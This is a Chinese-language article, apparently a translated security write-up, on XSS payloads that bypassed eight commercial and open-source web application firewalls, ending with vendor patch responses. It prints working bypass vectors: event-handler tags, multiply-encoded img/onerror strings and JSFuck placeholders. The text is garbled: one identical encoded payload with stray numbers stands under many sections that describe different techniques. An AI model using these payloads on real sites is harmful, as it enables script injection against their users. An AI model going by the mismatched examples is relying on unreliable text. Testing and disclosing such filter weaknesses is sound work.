WAF的XSS绕过姿势
概要
由于应用防火墙的广泛使用，实验测试WAF抵御xss攻击的能力变的很有必要。当然所有的实验就是为了证明厂商要从根源上杜绝漏洞，不能躺在WAF上高枕无忧。
实验测试的对象是一些流行的WAF 例如F5 Big IP、Imperva Incapsula、AQTRONIX WebKnight、PHP-IDS、Mod-Security、Sucuri、QuickDefense、Barracuda WAF 他们都在测试中被绕过。
介绍
Web应用防火墙(WAF)是一个应用，服务器插件，或者过滤器，利用一系列规则过滤http会话。通常这些规则用来防御常规威胁，XSS，SQL注入和一些web相关的漏洞。本次测试只关注WAF保护的绕过方法。
测试环境
Google Chrome
Opera Browser
Mozilla Firefox
Internet Explorer
测试结果
1. Imperva Incapsula
测试中发现，Imperva Incapsula过滤了很多常见的xss载荷，例如<img/src="x"/onerror="alert(1)">就被过滤了。同时发现<img src=x onerror="input">没有检测出来，绕过过滤的唯一的障碍就是寻找在error上的行为。alert(), prompt(), confirm(), eval() 全被禁止，只能找其他替代的方法证明xss漏洞的存在。
1.1 第一次绕过
Double URL 编码 + html编码 + Unicode 编码 (全浏览器通过)
double-url 编码存在于多次URL解码客户端输入的特定服务器。
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25 23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25 26%2523x29%3B%22%3E
1.2 第二次绕过 ：JS-F**K 载荷(全浏览器)
第二个绕过基于JS-F**K——一种七个字符创建JS的技术，载荷结构跟上面大体相同，
<img/src="x"/onerror="[JS-F**K Payload]">
动作没问题，唯一的缺点是长度。大多数服务器都对GET请求URL有严格要求，因此用于POST请求更好一点。除了这些，这个载荷看起来很完美。
2. WebKnight
WebKnight测试很不一样，它的一系列过滤规则有安全社区频繁的更新，实验确定了两种绕过方法只影响WebKnight v4.1 ，v4.2版本就修复了。
2.1 第一次绕过 ontoggle JS Event (Google Chrome)
这次只在Chrome中有效。
toggle() 方法切换元素的可见状态。
如果被选元素可见，则隐藏这些元素，如果被选元素隐藏，则显示这些元素。只在chrome中支持。
<details ontoggle=alert(1)>
2.2 第二次绕过 Onshow JS event (Mozilla Firefox)
应用了onshow的JS事件 ，用户单击触发脚本，绕过WebKnight 的xss过滤。
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
3. F5 Big IP
F5 Big IP 是公认的企业级应用防火墙，要发现xss绕过思路不仅限于action。
3.1 第一次绕过 ： Onwheel JS 事件 + 在样式属性上指定高度调整页面大小 (Google Chrome &Mozilla Firefox & Opera Browser)
<body style="height:1000px" onwheel="[DATA]">
3.2 第二次绕过 ：Onshow JS event (Mozilla Firefox)
用户单击，脚本触发。
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
3.3 第三次绕过：JS-F**K 载荷(Google Chrome & Mozilla Firefox & Opera Browser)
<body style="height:1000px" onwheel="[JS-F**k Payload]"> <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[JS-F**k Payload]">
3.4 第四次绕过 ：HTML编码 + Double URL 编码(Google Chrome & Mozilla Firefox & Opera Browser)
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)"> <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">
4. Barracuda WAF
结果和 F5 Big IP一样。
4.1
<body style="height:1000px" onwheel="alert(1)">
4.2
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25 23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25 26%2523x29%3B%22%3E
0
5. PHP-IDS
通过审查过滤规则发现JS 事件并不在黑名单中。除此之外，PHP-IDS 的主要保护措施就是基于JS 事件的action。例如，alert()立刻就会被PHP-IDS发现，同时，所有目前已知的编码技术都被过滤了，还有特定的保护措施防御载荷结构。所以不得不另辟奚径利用一些浏览器行为绕过保护机制。
5.1 第一次绕过：应用浏览器响应用户输入的行为
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25 23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25 26%2523x29%3B%22%3E
1
可以绕过 PHP-IDS v0.7
5.2 第二次绕过：double URL 编码
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25 23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25 26%2523x29%3B%22%3E
2
6. Mod-Security
实验表明Mod-Security 对恶意的请求特别敏感，例如，hello%20onsomething=dosomething 就因为onsomething 看起来像JS事件 被标记为潜在的xss脚本攻击。因此要关注内部可用来绕过过滤的漏洞。
6.1 第一次绕过 使用(
)和(	) (Google Chrome & Opera Browser & Internet Explorer)
这个载荷包含了一个指向javascript载荷的链接，通常这种方法一定会被检测出来，但是我们用了大量的new lines 和 tab 成功绕过。
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25 23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25 26%2523x29%3B%22%3E
3
6.2 第二次绕过 US编码绕过 (只有IE6和IE7)
6.3 第三次绕过 Triple URL 编码
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25 23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25 26%2523x29%3B%22%3E
4
7. Quick Defense
当前Quick Defense 的过滤规则还不足以支持产品级的web应用，尽管黑名单中有很多JS事件，用一些编码技术就能绕过。
7.1 第一次绕过：OnSearch JS 事件 + Unicode 编码 (Google Chrome)
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25 23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25 26%2523x29%3B%22%3E
5
7.2 第二次绕过 ：OnToggle JS 事件 + Unicode 编码(Google Chrome)
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25 23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25 26%2523x29%3B%22%3E
6
8. Sucuri WAF
Sucuri WAF 对恶意请求同样相当敏感。在今年四月，许多研究者完全绕过了Sucuri WAF 因而所有的发现都被修补好了，只能依靠旧版的浏览器才能实现xss。
绕过方法 ：US编码 (IE6和IE7)
厂商回复
除PHP-IDS没有回复以外其他厂商都修补了漏洞。
0×05 小结
结合各自WAF的弱点构造攻击向量绕过过滤器是完全可能的事情，对厂商来说，WAF可以让攻击者花费更多的时间，但是从根本上调查修补漏洞依然必不可少。
官方 